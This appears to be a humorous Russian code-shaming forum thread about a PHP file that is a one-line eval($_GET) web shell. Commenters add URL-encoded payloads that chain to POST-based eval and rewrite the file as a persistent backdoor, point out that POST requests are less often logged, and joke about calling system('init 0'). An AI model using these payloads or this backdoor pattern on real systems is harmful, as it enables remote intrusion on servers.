1. PHP / Говнокод #11592

    +53

    1. 1
    2. 2
    <?php
    eval($_GET['eval']);

    И это весь файл. Epic Fail.

    Запостил: duxabilii, 15 Августа 2012

    Комментарии (24) RSS

    • Бэкдорчик?
      Ответить
    • $_POST был по лучше. в гете ограничение на размер.
      Ответить
      • test.php?eval=eval%28%24_POST%5B%27eval%27%5D%29%3B
        Ответить
      • Хотфикс ;)


        test.php?eval=%24f%3Dfopen('test.php', 'w')%3Bfwrite(%24f%2C'%3C%3Fphp%20eval(%24_P OST(%22eval%22)%20%3F%3E'%3Bfclose(f)%3B
        Ответить
      • Не только, POST еще и не логгируется.
        Ответить
        • Не совсем. Для nginx можно настроить логирование, для Apache 2.* модуль есть.
          Ответить
          • А FILES можно?
            Ответить
            • Похоже, что да (если про Апач):
              в описании http://httpd.apache.org/docs/2.2/mod/mod_dumpio.html заявлено логирование всего-го.

              Вот ещё статья: http://www.cyberciti.biz/faq/apache-mod_dumpio-log-post-data/

              Сам не пробовал.
              Ответить
          • Настроить-то что угодно можно. А вот GET скорее всего уже логгируется.
            Ответить
            • Другой вопрос, если на серваке появляются подобные файлы, то смотрит ли кто-то вообще в логи?
              Ответить
    • > это весь файл
      А закрывающего ?> нет?
      Ответить
      • А он не обязателен же?
        Ответить
        • А, да, необязателен.
          Помнится у меня была функция, достойная быть выложенной здесь, для парсинга Json-подобного дерьма, используемого исключительно внутри одной системы. Там тоже закрывающие фигурные скобки были необязательны.
          Ответить
      • > А закрывающего ?> нет?
        дык вроде это нынче стандарт
        http://www.php-fig.org/
        The closing ?> tag MUST be omitted from files containing only PHP.(c) PSR-3
        Ответить
    • Готов поспорить, палится только так.
      Ответить
    • eval я этот <?php
      Ответить
    • Не , это несекьюрно ,вот так в самый раз :

      if(strpos($_GET["eval"], "fopen") !== false)
      {
      echo "AХТУНГ";
      // блокируем нарушителя
      while(1){}
      }

      eval($_GET['eval']);

      по мотивам http://govnokod.ru/1168
      Ответить
      • > // блокируем нарушителя
        Тридцатисекундный бан.
        Ответить
      • // Блокируем нарушителя
        system("init 0");
        Ответить
        • Запускать апач от рута - смертный грех, потому для этого есть sudo.
          Ответить
      • обидную надпись никто кроме автора не увидит :(
        Ответить

    Добавить комментарий